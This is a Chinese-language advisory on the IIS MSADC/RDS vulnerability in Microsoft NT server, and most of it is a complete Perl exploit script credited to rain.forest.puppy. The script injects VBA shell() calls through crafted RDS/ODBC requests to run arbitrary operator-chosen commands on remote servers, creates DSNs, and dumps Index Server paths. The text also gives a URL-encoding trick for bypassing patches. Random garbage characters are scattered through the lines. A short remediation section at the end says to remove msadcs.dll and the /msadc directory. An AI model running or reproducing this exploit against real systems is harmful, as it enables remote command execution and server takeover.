IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
;]x5;b9` ''E c-b6Q- 涉及程序：
e`1s[ ^B Microsoft NT server
^O*hs%eO% Qug 'B 描述：
>&Q. .`q 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Q.$h![`6 .3&OF M 详细：
e-)1K 如果你没有时间读详细内容的话，就删除:
tSa%ZkS c:\Program Files\Common Files\System\Msadc\msadcs.dll
< r3n?w8 有关的安全问题就没有了。
x99
Oq! ^V]DY!@k3_ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
} AYSQ~: 7Q}@L1A9F, 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
TFPq( i 关于利用ODBC远程漏洞的描述，请参看:
%k)I =| XQ; d ew+ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm pT$AdvI] &uW.V+ 3 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
# |[@Due http://www.microsoft.com/security/bulletins/MS99-025faq.asp $0 zL o}Np}PE6 这里不再论述。
FWTl:LqFO mLA$ F4/K 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
j=>G fo g``4U3T%X /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
u Aa>6R 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
O#Hz5 A5 %'O(Y{$Y. )E 2Lf ] #将下面这段保存为txt文件，然后: "perl -x 文件名"
K L~sEli P~Owvs /= #!perl
kcUt!PL #
YU(x!<Z # MSADC/RDS 'usage' (aka exploit) script
qrYeh`Mv #
`2 # by rain.forest.puppy
2F7R,rr
#
\D a$bJ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
-~ Q3T9+ # beta test and find errors!
t }l<#X5 uB5o
Ghu- use Socket; use Getopt::Std;
O0YGjS|d getopts("e:vd:h:XR", \%args);
4q8%!\A+ $dw;Kj'\ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
CFxs`C^ >i E
if (!defined $args{h} && !defined $args{R}) {
f |5|n>* print qq~
&>+Z$ZD Usage: msadc.pl -h <host> { -d <delay> -X -v }
>z$|O> j -h <host> = host you want to scan (ip or domain)
Z3{Qtysuv3 -d <seconds> = delay between calls, default 1 second
y&]D 2"I -X = dump Index Server path table, if available
{qyo# -v = verbose
8!Kfe -e = external dictionary file for step 5
N6'Y
N10 1+iiiVbMH Or a -R will resume a command session
0X w?} o *'3N/D~ ~; exit;}
ep|u_|sB/r R8*4E0\ br $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
XW:(FzF if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
5w3'yA<vE if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
omP 7| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
(qdk
& $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
VZR6 oia if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
:+$_(* Z 4R6 .GO if (!defined $args{R}){ $ret = &has_msadc;
i . &16AY die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
j)Gr@F> ccAEN print "Please type the NT commandline you want to run (cmd /c assumed):\n"
+.St"f/1 . "cmd /c ";
7lu ;lAAP $in=<STDIN>; chomp $in;
H;`@SJBf $command="cmd /c " . $in ;
GvY8O|a u e~1144 if (defined $args{R}) {&load; exit;}
zV#k
#/$ St<\qC print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
P)
#rvTDRw &try_btcustmr;
p*A//^wQ Dl6zl 6q? print "\nStep 2: Trying to make our own DSN...";
d[de5Xra &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
0c) 19Ig YQJ _t@0C print "\nStep 3: Trying known DSNs...";
mi?Fy0\ &known_dsn;
s!Vtw p 9 yMxS'j1 print "\nStep 4: Trying known .mdbs...";
i8F~$6C &known_mdb;
?jnEHn x g@;d if (defined $args{e}){
.w&Z=YM print "\nStep 5: Trying dictionary of DSN names...";
6 ?c V1:jh &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
^m\n[<x^ -v]
0@jNe print "Sorry Charley...maybe next time?\n";
_35?z"0 exit;
'yqp );vU=p"@ ##############################################################################
~ nIZ g5 +dRTH z sub sendraw { # ripped and modded from whisker
'1aOdEZA* sleep($delay); # it's a DoS on the server! At least on mine...
pQD8#y)` C my ($pstr)=@_;
WD]dt!V% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#'T @mA die("Socket problems\n");
8dfx _kY`/ if(connect(S,pack "SnA4x8",2,80,$target)){
3:RZ@~ u= select(S); $|=1;
3? "GH1e print $pstr; my @in=<S>;
oc .x1 <Nd select(STDOUT); close(S);
%* 8QLI return @in;
z^]nP 87 } else { die("Can't connect...\n"); }}
-.y3:^){^ IiL?@pIq ##############################################################################
<JlKtR&nSo [@)|j=:i: sub make_header { # make the HTTP request
bb nAmZ my $msadc=<<EOT
O<5bsKw'r POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Qw ED>G| User-Agent: ACTIVEDATA
ZtiOf}@i\ Host: $ip
v,s]:9f`\> Content-Length: $clen
&fWZ%C7|jC Connection: Keep-Alive
71eD~fNdx 8G=4{,(A ADCClientVersion:01.06
`YJ `?p Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
);C !:? b^ZrevM --!ADM!ROX!YOUR!WORLD!
: &] %E/ Content-Type: application/x-varg
:
f Wh7X3 Content-Length: $reqlen
f3O3pIA U i;o/Z3 EOT
6Dch+*4*@ ; $msadc=~s/\n/\r\n/g;
h&XyMm9C return $msadc;}
t}K?. To$ ;tj_vmZ@R ##############################################################################
" d t3peH F!U+IztZ sub make_req { # make the RDS request
cCwT0O#d my ($switch, $p1, $p2)=@_;
L Y "/ Q my $req=""; my $t1, $t2, $query, $dsn;
[}Nfs3IlBw GlaWBF# if ($switch==1){ # this is the btcustmr.mdb query
'#XP:nqFkK $query="Select * from Customers where City=" . make_shell();
&*0V!+#6 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
t C&Xm}: $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
_ ge3R3 SYyH_0N elsif ($switch==2){ # this is general make table query
rv^j&X+EH $query="create table AZZ (B int, C varchar(10))";
* fx<>aK $dsn="$p1";}
v{I:Wxe E: %%Dm elsif ($switch==3){ # this is general exploit table query
A%Ao yy4E $query="select * from AZZ where C=" . make_shell();
X"R;/tZ S4 $dsn="$p1";}
n '&WI f3 2'++G[z elsif ($switch==4){ # attempt to hork file info from index server
-y~JNDS1] $query="select path from scope()";
} [1I_) $dsn="Provider=MSIDXS;";}
TJCoID7a8 y|X[NSA elsif ($switch==5){ # bad query
7XZ!UC;i $query="select";
PR Y)hb;1 $dsn="$p1";}
Tf+B<B: &iuc4" ' $t1= make_unicode($query);
,Ti#g8 j $t2= make_unicode($dsn);
F3?v& $req = "\x02\x00\x03\x00";
V&gUxS]* $req.= "\x08\x00" . pack ("S1", length($t1));
:Y "f .> $req.= "\x00\x00" . $t1 ;
Qv8Z64# $req.= "\x08\x00" . pack ("S1", length($t2));
&9'6hMu $req.= "\x00\x00" . $t2 ;
KzhldMJ^zq $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
4bmpMF- return $req;}
O,7P6 #<) u%)` ##############################################################################
~;{)S}U@R \wM r[_LW sub make_shell { # this makes the shell() statement
H>VuUH| return "'|shell(\"$command\")|'";}
>2_J(vm> TkK- r(= ##############################################################################
M6?* \ 9E H4)){ \ sub make_unicode { # quick little function to convert to unicode
"g0L n5& my ($in)=@_; my $out;
f9!wO';P6 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
~6R|
a return $out;}
|n0 )s% 8` !Y5O3^I=u ##############################################################################
m'Wz0b^BO 8c#u"qF sub rdo_success { # checks for RDO return success (this is kludge)
ybfNG@N* my (@in) = @_; my $base=content_start(@in);
& B[$l`1 if($in[$base]=~/multipart\/mixed/){
?QZ\KY return 1 if( $in[$base+10]=~/^\x09\x00/ );}
9c<lFZb; return 0;}
8K{
TRPy 5pz%DhjLo ##############################################################################
4e9mN~ @HR]b^2E sub make_dsn { # this makes a DSN for us
\4mw>8wA my @drives=("c","d","e","f");
sz_|py?0 print "\nMaking DSN: ";
55fV\3F|R foreach $drive (@drives) {
C^.: { print "$drive: ";
R5qC;_0cV my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
" GgK,d}% "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
$/6.4" j . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
n
pBp YtG $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
dqnxhN+& return 0 if $2 eq "404"; # not found/doesn't exist
S =2-<R if($2 eq "200") {
fk 9FR^u foreach $line (@results) {
9"oc.ue.2D return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Wl} d6ZTm } return 0;}
~c+0SuJ )
=sm{R%T ##############################################################################
{3'z} q _"=Y j3?G% sub verify_exists {
x?T/=C my ($page)=@_;
1)vdM(y3j my @results=sendraw("GET $page HTTP/1.0\n\n");
wS#.W zp.w return $results[0];}
*s<FE F !|hv49!H ##############################################################################
2?# IwT' nJlrBf_Kj sub try_btcustmr {
rE EWCt my @drives=("c","d","e","f");
AW1691Q my @dirs=("winnt","winnt35","winnt351","win","windows");
}_Jr[iaB h0L *8P`t foreach $dir (@dirs) {
hQvSh\p print "$dir -> "; # fun status so you can see progress
l$z\8]x foreach $drive (@drives) {
ggfL
d r print "$drive: "; # ditto
?u"MsnCXYn $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Kr!8H/Z $reqlenlen=length( "$reqlen" );
Xh;Pbm|K $clen= 206 + $reqlenlen + $reqlen;
t( }\D]mj k?KKb
/&b my @results=sendraw(make_header() . make_req(1,$drive,$dir));
#O*
ytZ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
3w#kvtDVm else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
+-1t]`9k4 /X {:~*.z ##############################################################################
`XS6t)!ik UJ<eF/KSmG sub odbc_error {
~Qeyh^wo my (@in)=@_; my $base;
kT t;3 I a my $base = content_start(@in);
~bhesWk8! if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
XTyJ*`> $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
kK>PFk( $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
s `U.h^V $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*^ g7kCe( return $in[$base+4].$in[$base+5].$in[$base+6];}
T]Pp\6ff print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
ORD@+ { print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
" P c"{w $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
%s6|w=.1 XOAZ ##############################################################################
.A//Q|ot! ]^uO 3!+ sub verbose {
LSS3(l[,: my ($in)=@_;
a 39Kl_\ return if !$verbose;
17
Hdj print STDOUT "\n$in\n";}
O|}97a ^ 8xW_N"P.> ##############################################################################
Tl6%z9rY@ FhVi|V a sub save {
)<n r; n my ($p1, $p2, $p3, $p4)=@_;
!c(B c^ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
3V>2N)3`A print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
*+{ umfZy close OUT;}
aOFF"(]Cl LxC*{t/>8 ##############################################################################
E`}KVi57 LS}dt?78`V sub load {
/:iO:g1 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
QK)"-y}"g open(IN,"<rds.save") || die("Couldn't open rds.save\n");
9
N[k ?kUZ @p=<IN>; close(IN);
c$ya{]a $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
ov.7FZ+ $target= inet_aton($ip) || die("inet_aton problems");
RoFy2A=_ print "Resuming to $ip ...";
}J$Q $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
x'tYf^Va28 if($p[1]==1) {
D7T(B=S6 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
bX23F? $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
?aR)dQ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
t:X\`.W if (rdo_success(@results)){print "Success!\n";}
]{;=<t6 else { print "failed\n"; verbose(odbc_error(@results));}}
7+ QD=j- elsif ($p[1]==3){
dOh`F~
Y)e if(run_query("$p[3]")){
EW7heIT$ print "Success!\n";} else { print "failed\n"; }}
()i8 Qepo} elsif ($p[1]==4){
;"l>HL:^ if(run_query($drvst . "$p[3]")){
,{!~rSq-l print "Success!\n"; } else { print "failed\n"; }}
Z<T%:F exit;}
A8Tq2]"* S Ju4={^# ##############################################################################
Lwm2:_\_b @=B'<&g$Xv sub create_table {
)>abB?RZ my ($in)=@_;
*J&XM[t $reqlen=length( make_req(2,$in,"") ) - 28;
LT']3w $reqlenlen=length( "$reqlen" );
l(
/yaZ` $clen= 206 + $reqlenlen + $reqlen;
^dj
avJ my @results=sendraw(make_header() . make_req(2,$in,""));
O+ ~.p return 1 if rdo_success(@results);
xcz[w}{eEq my $temp= odbc_error(@results); verbose($temp);
, g\%P5 return 1 if $temp=~/Table 'AZZ' already exists/;
D^V0kC p!F return 0;}
,R_ KLd xFvDKW)_X7 ##############################################################################
x2/L`q"M?= ?4vf 2n@ sub known_dsn {
L8s HG$[ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
:\[ W] my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
5R D\XgyN] "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
$Kw )BnV "banner", "banners", "ads", "ADCDemo", "ADCTest");
6fV%[. RR 9un* 1% foreach $dSn (@dsns) {
Ad !=
*n print ".";
Yz4)Q1 next if (!is_access("DSN=$dSn"));
@LZ'Qc
}@ if(create_table("DSN=$dSn")){
O CIWQ/
P print "$dSn successful\n";
Vf <VKP[9K if(run_query("DSN=$dSn")){
0EiURVX print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
}#va#Nb(, print "Something's borked. Use verbose next time\n";}}} print "\n";}
# -?C{$2I ^|-*amh ##############################################################################
X=$WsfN.h O&h3=?O&B sub is_access {
"e4;x U- my ($in)=@_;
,5` pe%W7 $reqlen=length( make_req(5,$in,"") ) - 28;
KKpO <TO $reqlenlen=length( "$reqlen" );
@=4K%SCw $clen= 206 + $reqlenlen + $reqlen;
Q[?O+ my @results=sendraw(make_header() . make_req(5,$in,""));
\l)<NZ\ my $temp= odbc_error(@results);
ODa+s>a`^ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
[^ sv. return 0;}
0Yk@O)
x 3{OY& ##############################################################################
H 6 i4>U* it V@U sub run_query {
baJ(Iy$XT my ($in)=@_;
y\ Su!?4! $reqlen=length( make_req(3,$in,"") ) - 28;
>; a_i>[ $reqlenlen=length( "$reqlen" );
T 1'8<pJ^ $clen= 206 + $reqlenlen + $reqlen;
*9V;;bY# my @results=sendraw(make_header() . make_req(3,$in,""));
~gU. z6us return 1 if rdo_success(@results);
> b9nc\~ my $temp= odbc_error(@results); verbose($temp);
V }<Hx3! return 0;}
P>q"P1&{ ` \!oY;jk ##############################################################################
W+N9~ .q\^ #lDf8G|ST~ sub known_mdb {
Z +%Uwj my @drives=("c","d","e","f","g");
\z 'A6@ my @dirs=("winnt","winnt35","winnt351","win","windows");
/'vCO
|?L my $dir, $drive, $mdb;
uFxhr2
<z my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
: V16bRpjL 2E]SKpJ # this is sparse, because I don't know of many
EAiE@r>4 my @sysmdbs=( "\\catroot\\icatalog.mdb",
sbnNk(XINQ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Y JzKE7%CO "\\system32\\certmdb.mdb",
3u]#Ra~5 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
fu3~W ,= o)R,[ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
P=v 0|Y*q| "\\cfusion\\cfapps\\forums\\forums_.mdb",
%J)n#\ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
d#~^)r "\\cfusion\\cfapps\\security\\realm_.mdb",
Oa7x(wS "\\cfusion\\cfapps\\security\\data\\realm.mdb",
=~;SUO "\\cfusion\\database\\cfexamples.mdb",
R1.No_`PHq "\\cfusion\\database\\cfsnippets.mdb",
n27df 9L "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
=R+z\`2 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
0V{a{>+ "\\cfusion\\brighttiger\\database\\cleam.mdb",
+bC-_xGuh "\\cfusion\\database\\smpolicy.mdb",
!=%E&e] "\\cfusion\\database\cypress.mdb",
wkSIQL "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
XP#j9CF#. "\\website\\cgi-win\\dbsample.mdb",
7kDX_ ,i "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
c6zghP3dR "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
ki/x o^Y2< ); #these are just
ERSo &8 foreach $drive (@drives) {
s-^B)0 T! foreach $dir (@dirs){
88c-K{} 3 foreach $mdb (@sysmdbs) {
2 de[ yz print ".";
/58]{MfrJ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
q:Lw!'Z h print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
:|%dV}j if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
BN!N_r print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
)Rhy^<xH } else { print "Something's borked. Use verbose next time\n"; }}}}}
o)w8 ]H / _3_d;j#G U foreach $drive (@drives) {
4 yL C foreach $mdb (@mdbs) {
Yr9>ATR print ".";
Twscc "mK if(create_table($drv . $drive . $dir . $mdb)){
j#KL"B_ A print "\n" . $drive . $dir . $mdb . " successful\n";
`dB!Ia| if(run_query($drv . $drive . $dir . $mdb)){
?,Z[)5 ZN print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
-mD<8v[F } else { print "Something's borked. Use verbose next time\n"; }}}}
f5)4H }
,P G d HEZgHL ##############################################################################
Be?b|
G!M jpND" `Q sub hork_idx {
tnx)_f print "\nAttempting to dump Index Server tables...\n";
V p3 r print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
|Ld/{&Q r $reqlen=length( make_req(4,"","") ) - 28;
vfb~S~|U6g $reqlenlen=length( "$reqlen" );
B(}u:[
b^S $clen= 206 + $reqlenlen + $reqlen;
i1ph{;C my @results=sendraw2(make_header() . make_req(4,"",""));
Vs>/q:I if (rdo_success(@results)){
UsT+o my $max=@results; my $c; my %d;
w&6c`az8 for($c=19; $c<$max; $c++){
EBF608nWfW $results[$c]=~s/\x00//g;
Koh`|]N $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
@ 8[3 ]< $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
OC0dAxq $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
x9fNIuAQ $d{"$1$2"}="";}
1.+w&Y5
foreach $c (keys %d){ print "$c\n"; }
e;LJdd } else {print "Index server doesn't seem to be installed.\n"; }}
!'-K>.B a3o4> 9 ##############################################################################
hg8gB8Xq t\[aU\4-7 sub dsn_dict {
uXx c2} open(IN, "<$args{e}") || die("Can't open external dictionary\n");
^G5BD_ while(<IN>){
}lN@J,q $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
}%j@%Ep[ next if (!is_access("DSN=$dSn"));
]<3$Sx_{y if(create_table("DSN=$dSn")){
dWC[p print "$dSn successful\n";
3 :q\]]]S if(run_query("DSN=$dSn")){
BIx Z4Ft print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
PFP/Pe Ng; print "Something's borked. Use verbose next time\n";}}}
)ESF)aKMiz print "\n"; close(IN);}
h-"c
)?p B?}ZAw> ##############################################################################
g[P.lpi{U k M/cD` sub sendraw2 { # ripped and modded from whisker
-C9 _gZ sleep($delay); # it's a DoS on the server! At least on mine...
a-I3#3VJ@ my ($pstr)=@_;
Vq)6+n8o socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
{? -@`FR- die("Socket problems\n");
.SdHFWx if(connect(S,pack "SnA4x8",2,80,$target)){
$`J'Y>` print "Connected. Getting data";
L\@SX?j open(OUT,">raw.out"); my @in;
E1,Sr?' select(S); $|=1; print $pstr;
.gPE Qc+D while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
#N`~. 96 close(OUT); select(STDOUT); close(S); return @in;
9Q
4m9} } else { die("Can't connect...\n"); }}
d',OQ,~{ zE" ME*ou ##############################################################################
qPgLSZv 9S"c-"y\# sub content_start { # this will take in the server headers
Nr.maucny my (@in)=@_; my $c;
b_Us%{ for ($c=1;$c<500;$c++) {
K]mR9$/ if($in[$c] =~/^\x0d\x0a/){
I`%\ "bF@ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
<|= U rG else { return $c+1; }}}
R#ayN* return -1;} # it should never get here actually
3 ?Ckk{)& e=b>:n ##############################################################################
qMD!No W}6(; tI sub funky {
_sU | <1 my (@in)=@_; my $error=odbc_error(@in);
l V[d`%( if($error=~/ADO could not find the specified provider/){
R(dVE\ u print "\nServer returned an ADO miscofiguration message\nAborting.\n";
sS$"6 exit;}
w#v8a$tT if($error=~/A Handler is required/){
Z
P\A print "\nServer has custom handler filters (they most likely are patched)\n";
u!in>]^ exit;}
79:Wo>C3- if($error=~/specified Handler has denied Access/){
y=!"++T]B< print "\nServer has custom handler filters (they most likely are patched)\n";
p1B~:9y9X exit;}}
XW!a?aLNX k(n{$ ##############################################################################
>YPC &@9
G\8ps ~3T sub has_msadc {
OoKzPePWji my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
d/>owCwQ my $base=content_start(@results);
QN =a { return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
(; 1FhIi& return 0;}
:[#g_*G@p imcq
H ########################
cU\Er {
k ,o(7z^1Pe; kz]v XJ 解决方案：
0i }4T:J@` 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Pkx*1.uo 2、移除web 目录: /msadc
